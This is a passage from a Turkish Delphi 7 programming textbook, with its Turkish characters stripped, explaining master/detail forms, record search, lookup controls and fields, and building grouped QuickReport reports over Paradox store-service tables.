Alan pencerede, Form Options ksmndan Create a master/detail form seeneini,Dataset Options ksmndan da Create a form using Ttable object seeneini iaretleyip Next dmesine basn. Karnza ilk olarak Master tablonuzu seebileceiniz pencere gelecektir. Bu pencere de aliasnzn (gazi) referans gsterdii klasrn ierisinde yer alan MAGAZA tablosunu seerek Next dmesine tklayn. Bu admda karnza gelen pencereden master tablonuzda, formun zerine gzkmesini istediiniz stunlar belirlenizi isteyecektir. Formda gzkmesini istediiniz stunlar Available Field listesinden Ordered selected Fields listesine aktarp Next dmesine basn (biz btn stnlar aldk). Alan yeni pencereden Vertically iaret dmesini seerek Next dmesine tklayn. 679

Yeni bir pencere alacaktr bu pencereden Left seeneini seip Next dmesine tklayn. Karnza aadaki pencere alacaktr.

Bu pencereden Detail olarak kullanacanz tabloyu semenizi isteyecektir. SERVIS tablosunu seerek Next dmesine tklayn. Alan yeni pencere Detail tablonuzdan formun zerinde gzkmesini istediiniz stunlar semenizi isteyecektir (Biz SIRANO hari tm sutunlar dahil ettik). Next dmesine tklayn. Alan yeni pencereden In a Grid iaret dmesini seerek Next buttonuna tklayn. Aadaki pencere alacaktr.

680

Bu pencerede Available Indexes listesinde Detail tablosundaki tm index ler gzkecektir. MAGAZAINDEX (maazaad stunu iin tanmlanan secondary index) olann sein. DetailFields listesinde otomatik olarak gzkecektir. Detail Fields listesinden MAGAZAINDEX ve Master Fields listesinden de MAGAZA ADI stununu seip Add buttonuna tklayn. Yarattnz iliki Joined Fields listesinde aadaki gibi oluturulacaktr.

Next dmesine basn. Finish deyip wizard bitirin. Yukardaki admlardan sonra Delphi sizlere Master-Detail ierii olan bir form yaps oluturacaktr. Bu yapda ok nemli bir zellik barnmaktadr. Master tablonuzdan bir maaza ismini setiiniz zaman Detail tablonuzda (DataGrid ierisinde) sadece o maazaya yaplm olan servisleri listeleme ansn bulacaksnz. Bu yapnn dier bir zelliide var olmayan bir maazaya yanllkla servisin yaplamayacadr. nk SERVIS tablosuna kayt girerken (DataGrid ierisinden) maaza adn kendisi otomatik olarak belirleyecektir. Haliyle kullancnn yapabilecei yanl isim girme ilemlerinin nne gemi olacaksnz. Master-Detail form yapsnda Delphi sizin yerinize formunuza iki adet Table , iki adet DataSource, master tablodaki stun says kadar Edit 681

kontrol ve Detail tablo bilgilerinizi topluca listelemeniz iin DataGrid nesnesini yerletirecektir. Program altrdktan sonraki ekran grntnz aada verilmitir.

Navigator kontrolnde yapacanz kayt gezinti ilemleri DataGrid nesnesindeki kaytlarn tamamen deimesine (seilen maazaya ait kaytlar gsterecektir) sebep olacaktr. Master Detail Form Yapsn Mauel Oluturmak: Burada Master tablo iin yaplan ilem sadece paradox tablosuna balanty salamaktr (Table1-DataSorce1).Detail tablosu iin (ayet manuel olarak siz balant ilemini yapacaksanz) aadaki ayarlar yapmanz gerekecektir.

Koyu renkte yazlm zellikleri, kodla veya Object Inspector penceresinden ayarlamalsnz(IndexName-MasterFields-MasterSource). Sylemeye gerek yo sanrm, DataSource2 kontrolnde Table2 nesnesine balamalsnz.

682

Master-Detail Tablolarda Kayt Arama lemleri: Neredeyse btn projelerinizde kullanacanz bir uygulama seeneidir. Dnn yukardaki Master-Detail yapda herhangi bir maazaya servis yapld zaman faturay nasl ileyeceksiniz. zah edelim, ncelikle Master tablodan maazay bulacaz, bu maazaya gre DataGrid nesnesinde servisler listelenecek, kayd da yeni bir servis olarak DataGrid nesnesine ekleyeceiz. Yukarda yapm olduunuz form yapsna bir adet Edit kontrol yerletirerek aadaki yeni tasarm oluturunuz.

Aadaki kod bloonu Edit Kontrolnn OnkeyPress yordamna ekleyiniz. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); //Kayt Bul Var ara:Boolean; begin if Key=#13 Then begin ara:=Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]); if ara=false Then begin 683

ShowMessage('Kayt Bulunamad'); end end; end; Program altrn. Ardndan aradnz maaza ismini girip klavyeden Enter tuuna basn. Master tablonuz o maazay gsterecek, Detail tablonuzda o maazaya ait yaplm servisleri listeleyecektir. altrldktan sonraki form grnts aada verilmitir.

Yukardaki rnekte Edit kontrol ierisine aradmz maaza ismi olarak MIGROS deerini girip Enter tuuna bastk. Bilgisayarn yapt ilemse MIGROS maazasn Master tabloda aktifletirmek, arkasndan ona bal olarak alan Detail tablosunda da MIGROS maazasna yaplm olan servisleri listelemek olmutur. Gireceiniz faturay DataGrid nesnesinin en son satrna ekleyebilirsiniz. Hatrlatma:Master-Detail tablo yapsnda iki tabloda da ilikilendirilecek olan stunlar index olarak tanmlayn. Aksi takdirde uygulamada bir ok sknt yaayabilirsiniz.

684

Lookup lemleri Birbirleriyle ilikili tablo yaplarnda Lookup ilemleri sizlere tahmin edemeyeceiniz kadar kolaylklar salayacaktr. Daha nceden oluturduumuz MAGAZA ve SERVIS tablolar iin syle bir senaryo retelim. ncelikle servis tablosuna girilecek kaytlarda maaza tablosunda olmayan bir maazann bulunmas ok kt sonular douracaktr. Kullanc maaza adn girerken MIGROS yerine MAAGROS veya DIA yerine DIYA yazabilir, bu hata binlerce kaydn girildii tablolarda ok normal karlanabilir bir durumdur. Ama isterseniz byle bir hatann olumasn aada anlatacam yntemle tamamen nleyebilirsiniz. SERVIS tablosuna girilecek maaza adn kullancya klavyeden girdirmeyip, ekleyeceiniz bir ComboBox kutusundan setirtebilirsiniz. ComboBox n alan penceresindeki deerleride MAGAZA tablosunda yer alan MAGAZAADI stunundan aldrabilirsiniz. imdi bu ilemleri nasl yapabileceinizi detayl olarak izah etmeye alalm. DBLookupComboBox Kontrol: Baka bir tablonun (veya Query nin) stun bilgilerini listelemek iin kullanlan en etkili kontroldr. Balant ilemlerinde kullanacanz extra zellikleri aada verilmitir. DBLookupComboBox1.DataSource Bu zellik sayesinde ierisine girilen kaytlarn yazdrlaca kaynak belirlenebilir (Aynen DBEdit kontrndeki zellik gibidir). procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource2; end; DBLookupComboBox1.DataField Kontrole girilen ieriin kaynakta yazdrlaca stunu belirleyen zelliidir (Aynen DBEdit kontrolnde olduu gibi). procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource2; DBLookupComboBox1.DataField:='MAGAZAADI'; end; 685

DBLookupComboBox1.ListSource Kontroln ierisinde gsterilecek olan stun (dier tablodaki) bilgilerinin yer ald kayna belirleyen zelliidir (Bu zellik DBEdit kontrolnde yoktur). procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; end; DBLookupComboBox1.ListField eriin belirtildii kaynakta birden fazla stun olabilecei iin hangi stunla ilikilendirilecei bu zellikle belirlenmelidir. procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; DBLookupComboBox1.ListField:='MAGAZAADI'; Table1.Open; end; DBLookupComboBox1.KeyField ComboBox n ieriinde yer alacak liste deerlerinin hangi stundan alnaca bu zellikle belirlenir. ListField ile KeyField ayn eyi yapyor gibi gzksede kesinlikle yanl bir tesbit. Bu husus iin bir sonraki blme baknz. procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; DBLookupComboBox1.ListField:='MAGAZAADI'; DBLookupComboBox1.KeyField:='MAGAZAADI'; Table1.Open; end; 686

imdi zelliklerini anlattmz kontrolleri rnek zerinde grmeye alalm. Aadaki tasarm oluturunuz (Edit kontrollerini Table1 nesnesine, Table1 nesnesini paradox ta yarattnz servis tablonuza balamay untmaynz). Ayrca formunuza bir adet Query (dier tablo balants iin kullanlacak) ve bir adet DataSource (Query kontrolne balanacak) kontrol daha eklemeyi unutmaynz (Balant ilemleri tamamen kodla yaplaca iin bu iki kontrole properties penceresinden mdahale etmenize gerek yoktur).

Aadaki kod blounuda Unit pencerenize ekleyiniz. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.SQL.Add('Select MAGAZAADI from MAGAZA'); Query1.Open; DataSource2.DataSet:=Query1; DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; DBLookupComboBox1.ListField:='MAGAZAADI'; DBLookupComboBox1.KeyField:='MAGAZAADI'; Table1.Open; end; Program altrdktan sonra kullanc MAGAZAADI stunu iin ekleyecei veya deitirecei kaytlar da klavyeyi kullanmayacak, sedece alan listeden maaza adn seme ilemini gerekletirecektir. Bu seyede oluabilecek hatalarn (yanl maazay seerse sizin yapabileceiniz hibir ey yoktur. Yzde yz kullanc hatas olur. Ama unutmayn nleyebileceiniz kullanc 687

hatalarnda mutlaka ekleyeceiniz kodlarla minimuma indirmeye alnz) neredeyse tamamnn nne gemi olacaksnz. Programn altrldktan sonraki grnts aadaki pencerede gsterilmektedir. Kayt girerken veya deitirirken kullancnn ComboBox ierisinde var olan listeyi kullanacan sakn untmaynz.

DBLookupComboBox1.Text Kontroln gsterdii deer bu zellikte saklanmaktadr. procedure TForm3.DBLookupComboBox1Click(Sender: TObject); begin Form3.Caption:=DBLookupComboBox1.Text; end; DBLookupComboBox1.DropDownRows Kontrol ierisindeki liste ald zaman gsterilecek olan satr says bu zellikle belirlenir. ayet satr elemanlar daha fazla ise br elemanlara kaydrma ubuu sayesinde eriilebilir. procedure TForm3.DBLookupComboBox1Click(Sender: TObject); //Ka Satr begin DBLookupComboBox1.DropDownRows:=8; end;

688

DBLookupListBox Kontrol: Karakteristik olarak DBLookupComboBox kontrolne ait zellikleri aynen kullanr. Kontrol anlamanz iin aadaki ekilde Query1 kontroln kullanarak DataGrid nesnesi (DataSource1 ve kullanlarak) ierisindeki satrlar doldurun (Bu hususta balantnn nasl yaplabilecei daha nce detayl olarak anlatlmtr). Ayn forma ikinci bir Query ve Datasource nesnesiyle beraber bir adette DBLookupListBox kontrol yerletiriniz.Amacmz MAGAZA tablosundaki maaza adlarn liste ierisinde gstermek olacaktr. Ardndan da listeden seilen maaza adna gre DataGrid nesnesinde sorgulama yapacaz. Yani setiimiz maaza ismine ait servisleri listeleyeceiz.

Programa ait kod blou aada verilmitir. Unit pencerenize ekleyiniz. procedure TForm4.FormCreate(Sender: TObject); begin Query1.Open; Query2.DatabaseName:='gazi'; Query2.SQL.Add('Select MAGAZAADI from MAGAZA'); Query2.Open; DataSource2.DataSet:=Query2; DBLookupListBox1.ListSource:=DataSource2; DBLookupListBox1.KeyField:='MAGAZAADI'; end; 689

procedure TForm4.DBLookupListBox1DblClick(Sender: TObject); var deger:AnsiString; begin deger:=DBLookupListBox1.SelectedItem; Query1.SQL.Clear; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=deger; Query1.Open; end;

Program altrdktan sonra listeden zerine ift tklayacanz maaza adna ait yaplm olan tm servisler DataGrid nesnesinde gsterilecektir.

690

Tabloda Lookup Stunlar Yaratmak: Lookup kontrolleri dnda tablonuzda direk lookup stunlar oluturursanz, kayt ekleme ve deitirme zamanlarnda sizlere ok byk kolaylklar salayacaktr. Olay rnek zerinde izah etmek istiyorum. ncelikle aadaki iki tabloyu yeniler isimli bir alias oluturup ierisine kaydedin. Tablo1:URUN Tablosu
Fieeld Name(Stun smi) BARKODNO URUNADI FIYATI Type(Tipi) N A $ 25 Size (Ka Karakter) Key(Primary ind) *

Tablo2:SATIS Tablosu
Fieeld Name(Stun smi) SIRANO URUNADI SATISTARIHI FIYATI KDV TOPLAMTUTAR Type(Tipi) + A D $ $ $ 25 Size (Ka Karakter) Key(Primary ind) *

Uygulamadaki ama ikinci tabloya kayt girerken rn Ad n setii zaman FIYATI stunu deerini otomatik olarak birinci tablodan alacak (doabilecek fiyat farkllklarn bu ekilde her zaman engelleyebilirsiniz). imdi Table kontrol kullanarak DataGrid nesnesinde ikinci tablonun (SATIS) tm kaytlarnn gsterilmesini salayp aada verilen admlar izleyin.

Formunuza ikinci bir Table nesnesi ekleyin. 691

DataBaseName zelliine Alias isminizi (yeniler), TableName zelliine de URUN (birinci tablo) tablosunu aktarn. Active zelliini de true yapn. imdi eklemi olduunuz ilk Table (Table1) nesnesini seip mousun sa tuuna tklayn. Alan menden Fields Editr seeneini sein.

Alan pencereden URUNADI stununu seip Object Inspector penceresinden FieldKind zelliine fkLookup,KeyFields zelliine FIYATI stununu, Lookup Dataset zelliine Table2, LookupResultField zelliine URUNADI stununu, LookupKeyFields zelliine de FIYAT stununu aktarn. Bundan sonra yapacamz ksm Lookup ilemleri iin zorunlu deildir. Ama proje olmas asndan bunlarda aynen uygulayn. Bu admda KDV ile TOPLAMFIYAT stununu beraberce seip FieldKind zelliklerini fkCalculated yapn. Aadaki kod blounuda gsterilen yordama ekleyip projenizi altrabilirsiniz. procedure TForm3.Table1CalcFields(DataSet: TDataSet); //Hesapla begin Table1KDV.AsCurrency:=Table1FIYATI.AsCurrency*0.15; Table1TOPLAMFIYAT.AsCurrency:=Table1FIYATI.AsCurrency*1.15; end; Yukardaki kod satrn yazmamdaki ama rnn fiyat belirlendikten sonra KDV ile TOPLAMFIYAT stunlarnn deerlerinin otomatik olarak (hi bir tetikleyici kullanmadan) hesaplanmasn istemi olmamdan kaynaklanmaktadr. Yoksa Lookup ilemleriyle herhangi bir ilgisi yoktur.

692

Program altrdktan sonra Kayt Ekle dmesine (+) basn. URUNADI Stununa mous ile ift tklarsanz sa tarafnda alan bir pencere belirecektir (Lookup olay). Bu pencereden herhangi bir rn setiiniz vakit, bu rnn birinci tablodaki fiyat otomatik olarak ikinci tabloya aktarlacak (FIYATI stununa), hesaplama ilemleri iin yukardaki kod altrlarak dier iki stun daha hesaplattrlacaktr.

URUNADI stunundan TV seildikten hemen sonraki DataGrid grntsn yukarda grebilirsiniz. Dier stun bilgileri yerlerini alm ekilde beklemektedir. Drdnc admdaki Lookup ileminde kullanlan zellikleri ayrca izah etmek istiyorum. Bunlar Object Inspector penceresinden ayarladk dilerseniz aadaki ekilde kodlada deerlerini atayabilirdiniz. Table1.Fields[0].LookupDataSet Kontroln ierisinde gsterilecek deerlerin bulunduu stun deerinin hangi tablo ierisinde olduunu belirleyen zelliidir. procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2;//ilk stun end; Table1.Fields[0].LookupKeyFields Seilen deerin dier tablodaki hangi stun deerine yazlacan belirleyen zelliidir. 693

procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2; Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString;//ikinci stun end; Table1.Fields[0].LookupResultField Alan listede gsterilecek olan kaytlarn kayna olarak kullanlacak olan stun ismini belirleyebileceiniz zelliidir. procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2; Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString; Table1.Fields[0].LookupResultField:=Table2FIYAT.AsString; end; Table1.Fields[0].KeyFields Seilen deerin ana tabloda hangi stun yerine yazdrlacan belirleyen zelliidir. procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2; Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString; Table1.Fields[0].LookupResultField:=Table2FIYAT.AsString; Table1.Fields[0].KeyFields:=Table1FIYATI.AsString; end; Table1.Fields[0].FieldKind Stunun hesaplanma eklini belirleyen zelliidir. fkLookup deeri atanrsa baka bir stuna ait deeri kullanabilir. procedure TForm3.FormCreate(Sender: TObject); begin Table1.Fields[0].FieldKind:=fkLookup; end;

694

Rapor Dosyalar Oluturmak: u ana kadar ilenen blmlerde oluturduumuz arayzler sayesinde kontrolleri kullanarak eitli bilgileri tablo halinde Harddiske kaydetme ilemini gerekletirdik. imdiki blmde ise kaydettiimiz bu tablolara ait bilgileri yazcya dzgn bir ekilde gnderme ilemini gerekletireceiz. Yazdnz kodlar ne kadar gzel olursa olsun, iinizin devamnn getirilebilmesi iin unutmaynzki rapor sayfalarnz ok dzgn ekilde oluturulmaldr. Delphi ierisinde rapor oluturabilmek iin iki ynteminiz bulunmakta. Birincisi Rave kontrolleri ile rapor, ikincisi ise Qreport yaprandaki kontrolleri kullanarak rapor oluturmaktr. Biz Qreport yapran kullanarak rapor oluturacaz. Bu yaprak varsaylan olarak yklenmemitir, bu yzden doru klasrden ykleme ilemini gerekletirmelisiniz. Aada Qreport yapran yklemek iin izleyeceiniz admlar gsterilmitir. Component->Install Packages admlarn izleyin. Add Buttonuna basarak aadaki adresteki dosyay sein. C:\ProgramFiles\Borland\Delphi7\Bin\dclqrt70.bpl Ok Basn.

Qreport yaprann eklendiini greceksiniz. imdi bu yapraktaki kontrolleri kullanarak nasl rapor oluturabileceinizi gstereceim. Rapor oluturmak iin formunuzun zerinde muhakkak kaynak tablo ile balants olan Table veya Query veya Stored Procedure kontrollerinden bir tanesinin bulunmas gerekmektedir. Bu yzden ilk olarak yazdracanz tabloya ait balant ilemlerini kesinlikle gerekletirmek zorundasnz. Balant ilemlerini baarl bir ekilde gerekletirdikten sonra aadaki kontrolleri kullanarak kolaylkla sonderece profesyonel rapor dkmanlar oluturabilirsiniz. Her ne kadar rnek zerinde daha detayl altrmalar yaplacak olsa da yinede bu yapraktaki kontrollerden ksaca bahsetmek istiyorum. 695

QuickRep Kontrol: Rapor oluturmak iin kullanlmas zorunlu olan bir kontroldr. Tm sayfa yapsn zelliklerini ve dier kontrolleri zerinde barndracaktr.Bir ok band bulunmaktadr. Bu bandlar kullanlarak dier kontroller ilgili yerlere yerletirilebilmektedir. QRSubDetail Kontrol: QuickRep kotrolne yavru band eklemek iin kullanlan bir kontroldr. QRBand Kontrol: QuickRep kontrolne band eklemek iin kullanlan kontroldr. Bandn tipi daha sonra deitirilebilmektedir. QRGroup Kontrol: ayet raporda gruplandrma yaplacaksa kullanlmas gereken bir kontroldr. QRLabel Kontrol: Bantlara etiket eklemek iin kullanlan kontroldr. Tm aklama verileri iin bu kontrol kullanlmaktadr. QRDBText Kontrol: Tablo stunlar ile balant kuracak olan kontroldr. QRExpr Kontrol: Dier hcre deerlerini kullanarak hesap yapabilen bir kontroldr. Alt Toplam, Genel Toplam hesaplattrlrken bu kontrolden faydalanlr. QRSysData Kontrpol: Sayfa numaras, toplam sayfa , tarih, saat vs gibi deerleri yazdrabilen kontroldr. QRMemo Kontrol: Uzun karakterli verileri yazdrmak iin kullanlan kontroldr. Bu kontrolle dilediiniz kadar aklama satrn yazdrabilirsiniz. 696

QRRichText Kontrol: Farkl formattaki ierikleri yazdrmak iin kullanlan kontroldr. QRShape Kontrol: Geometrik ekilleri izdirmek iin kullanlan kontroldr. Bu kontrol sayesinde daire, izgi, elips,halka vs izdirebilirsiniz. QRImage Kontrol: Resim ierikli verileri bastrmak iin kullanlan kontroldr. Bilhassa firmaya ait logoyu bu kontrolle bastrabilirsiniz. QRDBImage Kontrol: Tabloda yer alan resimleri yadrmak iin kullanlan kontroldr. Aadaki tabloyu oluturup ierisindeki kaytlar yazcya gnderelim.
Fieeld Name(Stun smi) SIRANO MAGAZAADI SERVISTARIHI GIDENFIRMA ARIZASEBEBI FATURATUTARI Type(Tipi) + A D A A $ 25 25 25 Size (Ka Karakter) Otomatik artar Key(Primary ind) * Secondary Index

lk olarak formunuza bir adet Table (Query de olabilirdi) nesnesi yerletirin. Ardndan table nesnesi ile tablonuz arasndaki balanty gerekletirin (DataBaseName ile TableName zelliklerini ayarlayn). Table nesnenizin (Table1) Active zelliini true yapn. Bu admda formunuza bir adet QuickRep kontrol tayp brakn. QuickRep kontroln Object Inspector penceresinden Dataset zelliine Table1 deerini girin. Tekrar QuickRep kontroln sein ve Object Inspector penceresinde yer alan Bands zelliinin solundaki + iaretine tklayn. Alt seenekleri alacaktr. Alan bu bandlardan HasTitle olan zellii true yapn. Delphi otomatik olarak Title bandn QuickRep kontrolnn ierisinde oluturacaktr. Bu banda yerletirilecek ierikler sadece raporunuzun ilk sayfasnn balangcnda yer alacaktr. Dier sayfalara bu bandn herhangi bir etkisi yoktur.

697

HasTitle band aktifletirildikten sonra QuickRep kontrolne ait grnt aadaki ekilde gerekleecektir.

HasTitle bandna raporunuzun baln belirlemek iin bir adet QRLabel kontrol yerletirip ieriine (Caption zelliine) MAAZA SERVS TAKP ZELGES yazn. Yapm olduunuz deiikliklerin rapor grntsn almak iin QuickRep kontrol zerinde mousun sa tuuna tklayp Preview komutunu verebilirsiniz. QuickRep kontroln seip Object Inspector penceresinden HasColumnHeader bandna true deerini aktarn. Bu band stun balklarnn gsterilecei bandtr, rapor sayfalarnzn tamamnn balnda gzkecektir. Bu banda da be adet QRLabel kontrol yerletirip ieriklerini stun balklarn gsterecek metinle doldurun.

698

QuickRep kontroln seip Object Inspector penceresinden HasPageHeader bandna true deerini aktarn. Tm sayfalarda gzkmesini isteyeceiniz st bilgiler iin bu band kullanabilirsiniz. Bu banda QRSysData kontrolnden bir adet yerletirip, Object Inspector penceresinden Data zelliine qrsDate deerini aktarn. Bu kontrol artk aktif raporun baslma tarihini gsterecektir.

Bu admda tekrar QuickRep kontroln seip Object Inspector penceresinden HasDetail bandna true deerini aktarn. Tablo stun bilgilerinin yer ald blm bu ksmdr. Bu banda be adet QRDBText kontrol yerletirip aadaki ayarlar herbiri iin ayr ayr yapn. Birinci QRDBText kontroln seip Object Inspector penceresinden DataSet zelliine Table1, DataField zelliinede gsterecei stun deerlerini aktarn. Bu ilemi 5 kontrol iin de ayr ayr yapn.

699

imdiki ilemimiz QuickRep kontroln seip Object Inspector penceresinden HasPageFooter bandn aktifletirmek olacak. Bu band rapor sayfalarnn hepsinde alt bilgi olarak kullanlacaktr. Genellikle sayfa says veya toplam sayfa adedi gibi etiketlerin yer ald blmdr. Bu ksma QRSysData kontrolnden bir adet yerletirip Data zelliine qrsPageNumber deerini aktarn. Bu ilemden sonra kontrol aktif sayfa saysn gsterecektir. Basit raporlama iin aktifletireceimiz son band HasSummary banddr. Bu band raporunuzun en sonunda gzkecek olan ksmdr. Genellikle rapor toplamlarna ait hesaplamalarn yaptrlaca yerdir. Bu banda yerletireceiniz QRExp kontrol sayesinde tablo stunlarnza ait fonksiyonel hesaplatmalar yaptrabilirsiniz. imdi bir adet (FATURATUTARI stununun alt hizasna) QRExp kontroln bu banda yerletirip Expression zelliine tklayn, aadaki pencere alacaktr.

Function ve DataField dmelerini kullanarak yukarda gsterilen forml Expression penceresine girin. OK Basn. Bu aamada raporunuza preview komutunu verirseniz QRExp kontrol ierisinde hesaplanan deerin parasal formata evrilmeden gsterildiini greceksiniz. Aksakl dzeltmek iin QRExp kontroln seip Mask zelliine ###,###,### TL deerini aktarp raporunuzun nizlemesini aln. Yine HasSummary bandna QRLabel kontrol yerletirerek (QRExp kontrolnn etiketi olacak ekilde soluna yerletirin) Caption zelliine TOPLAM FATURA TUTARI yazn. Raporunuzu bask nizleme konumuna getirirseniz grntnz aadaki ekilde oluacaktr. 700

Bu admda stun balklarnn altna kaln izgi, kaytlarn altlarna da ince izgi ekmeyi gstereceim. QrShape kontrolnden bir adet stun balklarnn altna (ColumHeader band) boydan boya izin. Varsaylan olarak Shape zellii qrsRectangle dr. Yani dikdrtgen izer. Bu zellie qrsHorLine deerini aktarn ve Pen zelliinin altnda yer alan Width deerine 3 girip preview grntsn aln. Ayn ilemi Detail band bileenlerinin (QRDBText kontrolleri) altnda da yapn fakat width deerini deitirmeyin.

701

Gruplandrlm Rapor Dosyas Oluturmak: Yukardaki raporda, kaytlara dikkat edecek olursanz satrlar kayt giri srasna gre oluturulmutur. imdiki ilemimizde ayn maaza ismine sahip olan kayitlarn alt alta ve grup halini alm ekilde listelenmesini salayacaz. Aada bu husus adm adm izah edilmektedir. lk olarak formunuza bir adet Table (Query de olabilirdi) nesnesi yerletirin. Ardndan table nesnesi ile tablonuz arasndaki balanty gerekletirin (DataBaseName ile TableName zelliklerini ayarlayn). Table nesnenizin (Table1) Active zelliini true yapn. Bu admda formunuza bir adet QuickRep kontrol tayp brakn. QuickRep kontroln Object Inspector penceresinden Dataset zelliine Table1 deerini girin. Tekrar QuickRep kontroln sein ve Object Inspector penceresinde yer alan Bands zelliinin solundaki + iaretine tklayn. Alt seenekleri alacaktr. Alan bu bandlardan HasTitle olan zellii true yapn. Delphi otomatik olarak Title bandn QuickRep kontrolnn ierisinde oluturacaktr. Bu banda yerletirilecek ierikler sadece raporunuzun ilk sayfasnn balangcnda yer alacaktr. Dier sayfalara bu bandn herhangi bir etkisi yoktur. HasTitle bandna raporunuzun bal belirlemek iin bir adet QRLabel kontrol yerletirip ieriine (Caption zelliine) MAAZA SERVS TAKP ZELGES yazn. Yapm olduunuz deiikliklerin rapor grntsn almak iin QuickRep kontrol zerinde mousun sa tuuna tklayp Preview komutunu verebilirsiniz. QuickRep kontroln seip Object Inspector penceresinden HasColumnHeader bandna true deerini aktarn. Bu band stun balklarnn gsterilecei bandtr, rapor sayfalarnzn tamamnn balnda gzkecektir. Bu banda da be adet QRLabel kontrol yerletirip ieriklerini stun balklarn gsterecek metinle doldurun. QuickRep kontroln seip Object Inspector penceresinden HasPageHeader bandna true deerini aktarn. Tm sayfalarda gzkmesini isteyeceiniz st bilgiler iin bu band kullanabilirsiniz. Bu banda QRSysData kontrolnden bir adet yerletirip, Object Inspector penceresinden Data zelliine qrsDate deerini aktarn. Bu kontrol artk aktif raporun baslma tarihini gsterecektir. Buraya kadar olan ksm yukardaki rnekle ayn olacaktr. imdi gstereceim admlar Gruplandrma ilemini gerekletirecektir. Dikkatlice inceleyiniz

702

Qreport yapranda yer alan QRGroup kontrolnden bir adet QuickRep kontrolnn zerine yerletirin. Otomatik olarak GroupHeader zelliini alacaktr. Bu banda gruplandrma yapacanz stun veya stunlar yerletirebilirsiniz. Qreport yaprandan bir adet QRDBText kontron MAGAZAADI stununun altna gelecek ekilde yerletirin. DataSet zelliine Table1, DataField zelliine de MAGAZAADI stununu aktarn. Mousun sa tuuna basp Preview grnts alrsanz, aadaki ekran grntsyle karlarsnz.

Raporun MAGAZAADI stununa gre alfabetik srada olumasnn sebebibi Object Inspector penceresinden Index Name zelliine paradox tablosunda secondary index olarak tanmlanm olan MAGAZAADIINDEX deerinin aktarlm olmasndan kaynaklanmaktadr (Gruplandma yapacanz stunu tablonuzda index tanmlamal ve aktif hale getirmelisiniz. ayet Query kontroln kaynak olarak kullandysanz, o zaman indexe gerek yoktur sadece Gruplandrma yapacanz stuna gre Order By komutunu kullanmalsnz). Bu admda QuickRep kontroln seip Daha nce anlatld gibi Object Inspector penceresinden HasDetail bandna true deerini aktarn. Bu bandn ierisine drt (4) adet QRDBText kontrol yerletirin. Drt tane dememizin sebebi MAGAZAADI stunu ieriini gsterecek olan kontrol GroupHeader bandna yerletirilmitir. Geri kalan drdn bu banda yerletirmelisiniz. Drt kontrol iin DataSet ve 703

DataField zelliklerini ayarlayn. Raporun tasarm anndaki en son grnts aada verilmitir.

Yine bu adm gruplandrma ilemi iin ok nemli, Qreport yapranda yer alan QRBand kontrolnden bir adet QuickRep kontrolnn zerine izin. Varsaylan olarak Title band olarak gzkecektir. Bu bandn Object Inspector penceresinden BandType zelliine rbGroupFooter deerini aktarn. imdi daha nceden eklemi olduunuz QRGroup1 bandn seip Object Inspector penceresinden Footer Band zelliine QRBand1 deerini aktarn. Artk bu iki band grup ilemleri iin egdml olarak alacaktr. Bu admda QRBand1 (Group Footer) kontrolne bir adet QRExp kontrol yerletirin. Expression zelliine tklayarak aadaki forml girin.

704

Yapm olduunuz bu hesaplamann etiketini belirlemek amal QRBand1 kontrolne bir adet QRLabel kontrol yerletirip Caption zelliine ALT TOPLAM ieriini girin (QRExp kontrolnn hemen soluna). Tekrar QRGroup bandn (Group Header) seerek Expression zelliine aadaki forml girin (Gruplandrma yaplacak stunu belirtmek gerekiyor).

705

QuickRep kontroln seip mousun sa tuuna tklayn. Alan menden Preview seeneine tklarsanz yukardaki grntyle karlarsnz. Her maazann altnda, alt toplam olarak sonularn gsterildii sanyorum dikkatinizi ekmitir. imdiki ilemimiz QuickRep kontroln seip Object Inspector penceresinden HasPageFooter bandn aktifletirmek olacak. nceki rnekte izah edildii gibi bu band rapor sayfalarnn hepsinde alt bilgi olarak kullanlacaktr. Genellikle sayfa says veya toplam sayfa adedi gibi etiketlerin yer ald blmdr. Bu ksma QRSysData kontrolnden bir adet yerletirip Data zelliine qrsPageNumber deerini aktarn. Bu ilemden sonra kontrol aktif sayfa saysn gsterecektir. Gruplandrlm rapor oluturmak iin aktifletireceimiz son band HasSummary banddr. imdi bir adet (FATURATUTARI stununun alt hizasna) QRExp kontroln bu banda yerletirip Expression zelliine tklayn, aadaki pencere alacaktr.

Function ve DataField dmelerini kullanarak yukarda gsterilen forml Expression penceresine girin. OK Basn. Bu aamada raporunuza preview komutunu verirseniz QRExp kontrol ierisinde hesaplanan deerin parasal formata evrilmeden gsterildiini greceksiniz. Aksakl dzeltmek iin QRExp kontroln seip Mask zelliine ###,###,### TL deerini aktarp raporunuzun nizlemesini aln. Yine HasSummary bandna QRLabel kontrol yerletirerek (QRExp kontrolnn etiketi olacak ekilde soluna yerletirin) Caption zelliine TOPLAM FATURA TUTARI yazn.

706

Raporunuzu bask nizleme konumuna getirirseniz grntnz aadaki ekilde oluacaktr.

